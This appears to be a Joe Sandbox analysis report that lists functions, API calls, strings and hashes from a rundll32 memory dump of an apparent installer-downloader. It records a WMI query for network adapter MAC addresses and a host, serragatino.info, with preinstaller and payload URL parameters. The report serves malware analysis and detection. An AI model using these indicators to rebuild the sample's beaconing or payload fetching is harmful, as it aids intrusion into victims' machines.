Instruction Fuzzy Hash: B7F1CE70708B019BD724AF28D844A3A77A9EBC4258F14892DE952C73C1FE38FCA18F55

Uniqueness

Uniqueness Score: -1.00%

Function 046B1FA8 Relevance: 44.3, APIs: 23, Strings: 2, Instructions: 538
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(?,?,00000000,00000000), ref: 046B2006
socket.WS2_32(?,?,?), ref: 046B207A
connect.WS2_32(00000000,?,?), ref: 046B209E
freeaddrinfo.WS2_32(00000000), ref: 046B20B3
WSACreateEvent.WS2_32 ref: 046B20B9
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 046B21DB
WSAGetLastError.WS2_32 ref: 046B21E6
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000001,00001388,00000001), ref: 046B2209
WSACreateEvent.WS2_32 ref: 046B223B
closesocket.WS2_32(?), ref: 046B2252
closesocket.WS2_32(?), ref: 046B2269
WSARecv.WS2_32(?,?,00000001,?,?), ref: 046B2312
WSAGetLastError.WS2_32 ref: 046B231D
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000001,00001388,00000001), ref: 046B2340
WSAGetLastError.WS2_32 ref: 046B235C
WSAGetOverlappedResult.WS2_32(?,?,00000000,00000000,00000000), ref: 046B23AE
WSAResetEvent.WS2_32(?), ref: 046B248C
WSACloseEvent.WS2_32(?), ref: 046B24C5
WSACloseEvent.WS2_32(?), ref: 046B24CD
closesocket.WS2_32(?), ref: 046B24D5
WSACleanup.WS2_32 ref: 046B24DB
closesocket.WS2_32(00000000), ref: 046B25CB
WSACleanup.WS2_32 ref: 046B25D1

Strings

HTTP/1.1Host: %s, xrefs: 046B211F
GET , xrefs: 046B20CD

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Event$closesocket$ErrorLast$CleanupCloseCreateEventsMultipleWait$OverlappedRecvResetResultSendconnectfreeaddrinfogetaddrinfosocket
String ID: HTTP/1.1Host: %s$GET
API String ID: 189022131-1233584444
Opcode ID: 4ffd3b548e1cecb96161498252dc3d3d3d40c450a4dd4164478db6cf1ef31b56
Instruction ID: 8ca273c0fdf896aef7692a1c14339520335dfd7b2f15588a6fd581b915397918
Opcode Fuzzy Hash: 4ffd3b548e1cecb96161498252dc3d3d3d40c450a4dd4164478db6cf1ef31b56
Instruction Fuzzy Hash: 8012B4719002289BDB259F24CC98BEEBBB5EF14314F0441D9E589A7291EB706EC5CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 046B2710 Relevance: 39.0, APIs: 12, Strings: 10, Instructions: 512
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000,?,?,?), ref: 046B2A52
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?), ref: 046B2A6A
SysAllocString.OLEAUT32(046D0A2C,00000000,00000001,046D0A1C,00000000,?,?,?), ref: 046B2A82
SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 046B2A93

Strings

VWj, xrefs: 046B2A27
Select * from Win32_NetworkAdapter Where NetEnabled=TRUE, xrefs: 046B2AD3
, xrefs: 046B2894
jjj, xrefs: 046B2A60
jjjj, xrefs: 046B2AAF
WQL, xrefs: 046B2AEC
jjj, xrefs: 046B2A58
ROOT\CIMV2, xrefs: 046B2A8E
MACAddress, xrefs: 046B2B90
AdapterTypeID, xrefs: 046B2B66

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: AllocInitializeString$Security
String ID: $AdapterTypeID$MACAddress$ROOT\CIMV2$Select * from Win32_NetworkAdapter Where NetEnabled=TRUE$VWj$WQL$jjj$jjj$jjjj
API String ID: 2669551906-828625420
Opcode ID: 580fedbce49715444ffdb3ca885bd2c1319a0caafaebb21f290fa5236049956e
Instruction ID: e44c8952ebb73d234217e6399306286db9db45ba7c01830e233c0b2ca44e13f9
Opcode Fuzzy Hash: 580fedbce49715444ffdb3ca885bd2c1319a0caafaebb21f290fa5236049956e
Instruction Fuzzy Hash: BD02C470E00208ABDF18DFA4CCA8BEDB7B5FF48304F244159E555AB291EB71B985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 046A1B42 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 240
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 046A1B60
GetModuleFileNameW.KERNEL32(00000000,055BB820,00000400,?,00000000,?,?,?,?,?,?,?,?,?,046A1447), ref: 046A1B82

Part of subcall function 046A2797: GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 046A27BB
Part of subcall function 046A2797: CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 046A27D4
Part of subcall function 046A2797: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 046A27EC
Part of subcall function 046A2797: lstrcmpW.KERNEL32(003A0043,?), ref: 046A27F8

lstrcpynW.KERNEL32(055D4820,055D6820,00000400,00000003,?,00000000,?,?,?,?,?,?,?,?,?,046A1447), ref: 046A1BD6
lstrcpynW.KERNEL32(055BB020,00000000,00000400,?,00000000,?,?,?,?,?,?,?,?,?,046A1447), ref: 046A1BFA

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 046A1E6C
Inst, xrefs: 046A1C90
Error launching installer, xrefs: 046A1BB1
Null, xrefs: 046A1CA4
soft, xrefs: 046A1C9A

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: File$ModuleNamelstrcpyn$AttributesCountCreateTicklstrcmp
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2516396849-527102705
Opcode ID: 58679a79f30d3bd1523a2086ba7064dbb566e7c6778dff332629e0156134dcfe
Instruction ID: 1bd86824fbc35177d1814e6e78a44ad534e00444674022756b76ca467cc99abe
Opcode Fuzzy Hash: 58679a79f30d3bd1523a2086ba7064dbb566e7c6778dff332629e0156134dcfe
Instruction Fuzzy Hash: 0391F270A15B118BD714EF24D8907AA7BE4FB96304F01852EE9829B380FB38BC55CF95

Uniqueness

Uniqueness Score: -1.00%

Function 046A2367 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 162
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 046A266E: lstrcpynW.KERNEL32(C:\,003A0043,00000400,003A0043,00000007,046A238D,00000000,00000000,?,00000000), ref: 046A267C
Part of subcall function 046A266E: lstrlenW.KERNEL32(C:\,00000000,?,00000000), ref: 046A26C7
Part of subcall function 046A266E: GetFileAttributesW.KERNEL32(C:\,?,00000000), ref: 046A26D9

DeleteFileW.KERNEL32(003A0043,00000000,00000000,?,00000000), ref: 046A2397
lstrcpynW.KERNEL32(046FFFA0,003A0043,00000400,00000000,00000000,?,00000000), ref: 046A23D4
lstrcatW.KERNEL32(046FFFA0,\*.*), ref: 046A23EE
lstrcatW.KERNEL32(003A0043,046DB370), ref: 046A240F
lstrlenW.KERNEL32(003A0043,?,00000000), ref: 046A2412
FindFirstFileW.KERNEL32(046FFFA0,?,?,00000000), ref: 046A2429
lstrcpynW.KERNEL32(?,?,00000400,?,00000000), ref: 046A2469
FindNextFileW.KERNELBASE(00000000,00000010), ref: 046A24C8
FindClose.KERNEL32(00000000), ref: 046A24DA

Strings

C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp, xrefs: 046A23CF, 046A23E9, 046A2424
\*.*, xrefs: 046A23E4

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: File$Findlstrcpyn$lstrcatlstrlen$AttributesCloseDeleteFirstNext
String ID: C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp$\*.*
API String ID: 2851050878-33077373
Opcode ID: 625c4a9660739a8e38413fa5695c0580b8834e56b81061ce2cf650cc7d2a6686
Instruction ID: 029fa2eb41b936347f6c002ca4e5eb3f0216b6bd9384fea1231814b855ac0e00
Opcode Fuzzy Hash: 625c4a9660739a8e38413fa5695c0580b8834e56b81061ce2cf650cc7d2a6686
Instruction Fuzzy Hash: 9F51E330784B018BD728AB24D83467AB2A5FF91714F14855DE982C23C0FB78FD668E96

Uniqueness

Uniqueness Score: -1.00%

Function 02E57444 Relevance: 14.7, APIs: 2, Strings: 6, Instructions: 669
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 02E574DF
t, xrefs: 02E57823
c, xrefs: 02E57745
s, xrefs: 02E57681
., xrefs: 02E57A98
A, xrefs: 02E575A3

Memory Dump Source

Source File: 00000006.00000002.1532261952.0000000002E57000.00000040.00000020.00020000.00000000.sdmp, Offset: 02E57000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e57000_rundll32.jbxd

Similarity

API ID:
String ID: .$2$A$c$s$t
API String ID: 0-4220828924
Opcode ID: 40ffc28a2f9470463cbd14c44e0e5560c7ed8e6cad033ad9f5523bb4a03ec2ee
Instruction ID: 89f751a91219a5e7d720691f8d54a3c29f12c2bba047f0ddde9c02aa92866e47
Opcode Fuzzy Hash: 40ffc28a2f9470463cbd14c44e0e5560c7ed8e6cad033ad9f5523bb4a03ec2ee
Instruction Fuzzy Hash: C6623070A042A88FEB19CF2CD8947EDBBB1AB45304F1450E9D8499B391D7BA9ED4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 046A4C6B Relevance: 3.0, APIs: 2, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000400), ref: 046A4C60
FindFirstFileW.KERNEL32(00000000,?), ref: 046A4C7C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FileFindFirstlstrcpyn
String ID:
API String ID: 3866942784-0
Opcode ID: c94ae9ec6e62feb021286d97f404d8d195a20beee1cc74f9b0083362399d7962
Instruction ID: 91b35149250bf29f9ec1f2f3adbe55af963aa88a49dd58fed9874e4091d45b1a
Opcode Fuzzy Hash: c94ae9ec6e62feb021286d97f404d8d195a20beee1cc74f9b0083362399d7962
Instruction Fuzzy Hash: C6F0BBB13046008BD364DB74D845BBD7395EB84114F104919D25AC65C2FF746C555F15

Uniqueness

Uniqueness Score: -1.00%

Function 046A30A4 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,047007A0,00000000,046A3740), ref: 046A30AC
FindClose.KERNEL32(00000000), ref: 046A30B8

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1eeeb72cee94980ae447fe01855b32499bf1540b2d410d58eea4b500a68b222a
Instruction ID: fd19fbc3c9e7a129fd03a105ba046b00e7ff9a0feb3cbbcc99b33fc335a13bd7
Opcode Fuzzy Hash: 1eeeb72cee94980ae447fe01855b32499bf1540b2d410d58eea4b500a68b222a
Instruction Fuzzy Hash: C8C012326164205A8A282678FC0C8962A8DCA422317451A61B428D3AC0E228EC968AE0

Uniqueness

Uniqueness Score: -1.00%

Function 046AF707 Relevance: 25.3, APIs: 3, Strings: 11, Instructions: 789
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?), ref: 046AF718
CommandLineToArgvW.SHELL32(00000000), ref: 046AF71F
__Init_thread_footer.LIBCMT ref: 046B043D

Strings

&cid=, xrefs: 046AFA01
&u=, xrefs: 046AF9F7
&ts=, xrefs: 046AFDCE
1.28.763.1, xrefs: 046AFD92, 046AFDAB
&v=, xrefs: 046AFD4E
serragatino.info, xrefs: 046B0239
/payload, xrefs: 046AF734
/preinstaller/index.php?evt=, xrefs: 046AFD3C
/cid, xrefs: 046AF886
&mid=, xrefs: 046AFE3D
&payload=, xrefs: 046AFECF

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CommandLine$ArgvInit_thread_footer
String ID: &cid=$&mid=$&payload=$&ts=$&u=$&v=$/cid$/payload$/preinstaller/index.php?evt=$1.28.763.1$serragatino.info
API String ID: 123207428-3107760163
Opcode ID: 0a16f29905ed3b92a53088b915e8ef3ad4df7ebc744f50ad564f204b4bd015d9
Instruction ID: d2330832f2ff4d4ad36aaea226faf9e7fca8cb62c1c84b6dcbccef6348e7e873
Opcode Fuzzy Hash: 0a16f29905ed3b92a53088b915e8ef3ad4df7ebc744f50ad564f204b4bd015d9
Instruction Fuzzy Hash: 6B62F771D006048BEB1C9F64DC58BAE7BB1EF54308F14865CD1466B692FB78BAC88F91

Uniqueness

Uniqueness Score: -1.00%

Function 046A2D19 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 241
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Exec,00000400), ref: 046A2E82
GetWindowsDirectoryW.KERNEL32(Exec,00000400,02E9C140,00000000,?,?,?,?,?,046A32AE,02E9C140,046A3563,-00000001,00000000), ref: 046A2E95
lstrcatW.KERNEL32(Exec,\Microsoft\Internet Explorer\Quick Launch), ref: 046A2F13
lstrcpynW.KERNEL32(Exec,?,00000400,02E9C140,00000000,?,?,?,?,?,046A32AE,02E9C140,046A3563,-00000001,00000000), ref: 046A2F50

Part of subcall function 046A2C21: wsprintfW.USER32 ref: 046A2C28

lstrlenW.KERNEL32(Exec,02E9C140,00000000,?,?,?,?,?,046A32AE,02E9C140,046A3563,-00000001,00000000), ref: 046A2F7A
lstrcpynW.KERNEL32(00000000,Exec,00000400,?,?,?,?,046A32AE,02E9C140,046A3563,-00000001,00000000), ref: 046A2FC4

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 046A2E49
Exec, xrefs: 046A2D48, 046A2E47, 046A2E48, 046A2E56, 046A2E81, 046A2E94, 046A2EAB, 046A2ED7, 046A2F12, 046A2F19, 046A2F4F, 046A2F5E, 046A2F79, 046A2F84, 046A2FC2
\Microsoft\Internet Explorer\Quick Launch, xrefs: 046A2F0D

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Directorylstrcpyn$SystemWindowslstrcatlstrlenwsprintf
String ID: Exec$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 1475261591-2234703965
Opcode ID: d82ab0b7ef37d512ccf93426c31f1f0395dd19f2d83fb803ab5f13d069e19a6b
Instruction ID: f1fd49b29733c5cc853832fad3c17e04aad512d4d791c6f708a62f2ab1745e4f
Opcode Fuzzy Hash: d82ab0b7ef37d512ccf93426c31f1f0395dd19f2d83fb803ab5f13d069e19a6b
Instruction Fuzzy Hash: D2711171384B019FDB24AF24D8A4A7A77E5FBA8300F04886AE541D7380F734EDA18F91

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BDA3B Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6D4BDA82
___scrt_uninitialize_crt.LIBCMT ref: 6D4BDA9C

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: f78ac910481cac593636296570a34f28adf15aa9b138599ad8dcd2d5eb4a9fe6
Instruction ID: 17c5bacb95dbb18961eaa1efe5965e21de0c71ea778b37175bce0c44f5219267
Opcode Fuzzy Hash: f78ac910481cac593636296570a34f28adf15aa9b138599ad8dcd2d5eb4a9fe6
Instruction Fuzzy Hash: 2341B372D0C619ABDB11DF54C800F6E3AB5EBE5764F1145ADE91AA7240D7308D019FF0

Uniqueness

Uniqueness Score: -1.00%

Function 046A4261 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 046A4296
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 046A42AB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000100,00000000,00000000), ref: 046A42D7
GetProcAddress.KERNEL32(00000000,?), ref: 046A42EA
FreeLibrary.KERNEL32(00000000), ref: 046A4375

Strings

C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll, xrefs: 046A430D, 046A4383

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Library$AddressByteCharFreeHandleLoadModuleMultiProcWide
String ID: C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll
API String ID: 1492249872-2949700518
Opcode ID: e45d0ef4541a1212c8d498134e942645d0067faa71cda2990bc8062a61b3f1d3
Instruction ID: 2c3cf994c96c9ae8e2f0b44f49f40354f539722353dcefc4c424bf4b6ccc4c59
Opcode Fuzzy Hash: e45d0ef4541a1212c8d498134e942645d0067faa71cda2990bc8062a61b3f1d3
Instruction Fuzzy Hash: F6310431208B009BD7249E65DC04B6B77A9EB85324F11822DE6A582381FFB5FC549F52

Uniqueness

Uniqueness Score: -1.00%

Function 046A3D26 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 79
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpynW.KERNEL32(Exec,?,00000400), ref: 046A3D5C
lstrcpynW.KERNEL32(?,04D3E014,00000400), ref: 046A3D69
lstrcpynW.KERNEL32(04D3E014,Exec,00000400), ref: 046A3D76
lstrcpynW.KERNEL32(?,04D3E01C,00000400), ref: 046A3DA6
GlobalFree.KERNEL32(04D3E018), ref: 046A3DB4
GlobalAlloc.KERNEL32(00000040,00000804), ref: 046A3DC6

Strings

Exec, xrefs: 046A3D55, 046A3D5B, 046A3D71

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$Global$AllocFree
String ID: Exec
API String ID: 4256245458-459137531
Opcode ID: 2c4c197a85cf0990d05ba9b42d326462d1b8118f72371833b8fd09342abb53dc
Instruction ID: 4289cc008e36f1bfd22c6b4fc9ce194e6bf9ffa2b5139128fac4d344a2c42729
Opcode Fuzzy Hash: 2c4c197a85cf0990d05ba9b42d326462d1b8118f72371833b8fd09342abb53dc
Instruction Fuzzy Hash: C021B076600B549FD760EE16D840AAAB3D8EB45714F50542AEE46DB780FA38BC508FA0

Uniqueness

Uniqueness Score: -1.00%

Function 046A30C6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 046A30EA
wsprintfW.USER32 ref: 046A3123
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 046A3137

Strings

%s%S.dll, xrefs: 046A311D
\, xrefs: 046A30FA
UXTHEME, xrefs: 046A30D9, 046A3113

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 194638f2054c4fe374d3ec99b77b7cedea652c294a752890c5a33a601ef144f2
Instruction ID: fca5adde065a302c8ac8ecc66025155826ea7a5594df00b439ab3377a1509cbd
Opcode Fuzzy Hash: 194638f2054c4fe374d3ec99b77b7cedea652c294a752890c5a33a601ef144f2
Instruction Fuzzy Hash: 7D01D631A00504EBE724DB69DC4DFAB7BB9EB45704F15046DAA0AD3280FA74FD948EA4

Uniqueness

Uniqueness Score: -1.00%

Function 6D4A9880 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 292
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6D4B1E35: SysFreeString.OLEAUT32(00000000), ref: 6D4B1E96

CoInitialize.OLE32(00000000), ref: 6D4A993A

Part of subcall function 6D4BD2E9: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(6D4B2519,?,6D4B2519,00000000), ref: 6D4BD2FE

CoUninitialize.OLE32(?,?,0000000A), ref: 6D4A9D77

Part of subcall function 6D4B0545: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D4B05C6
Part of subcall function 6D4B0545: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D4B05E2

GetCommandLineA.KERNEL32 ref: 6D4A9A70
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D4A9A82

Part of subcall function 6D4B2649: memcpy.VCRUNTIME140(?,?,?,?), ref: 6D4B267A

Part of subcall function 6D4B29FB: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D4B2A06

Part of subcall function 6D4AC22C: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,?,?,?,6D4A9E90,?,0000007E,AQfKr5XSuITHT), ref: 6D4AC27F

Part of subcall function 6D4AC2C6: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(list too long,?,?,6D4A9EB8,?,?,?,?,0000007E,AQfKr5XSuITHT), ref: 6D4AC319

Part of subcall function 6D4B042D: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D4B0487
Part of subcall function 6D4B042D: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D4B04A3

Strings

25PSZIQCZinuzv7U2, xrefs: 6D4A9AA4

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: free$Xlength_error@std@@strlen$CommandFreeInitializeLineStringUninitializemallocmemcpy
String ID: 25PSZIQCZinuzv7U2
API String ID: 1820992426-1401351445
Opcode ID: 87be2322d61559bc05f0398bcb4d93b8d11e38bf979465db88530f033737730e
Instruction ID: 7098013c9f9f39cffeb2a064aba87dbd1d60e4facc4718074303cafc9e092dd2
Opcode Fuzzy Hash: 87be2322d61559bc05f0398bcb4d93b8d11e38bf979465db88530f033737730e
Instruction Fuzzy Hash: 60D1F3319052289FDB65DBA4CC90FDDB7B4BF29304F0581EAD20AA71A4DB316E85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6D4A9934 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 252
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 6D4A993A

Part of subcall function 6D4BD2E9: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(6D4B2519,?,6D4B2519,00000000), ref: 6D4BD2FE

CoUninitialize.OLE32(?,?,0000000A), ref: 6D4A9D77

Part of subcall function 6D4B0545: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D4B05C6
Part of subcall function 6D4B0545: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D4B05E2

GetCommandLineA.KERNEL32 ref: 6D4A9A70
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D4A9A82

Part of subcall function 6D4B2649: memcpy.VCRUNTIME140(?,?,?,?), ref: 6D4B267A

Part of subcall function 6D4B29FB: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D4B2A06

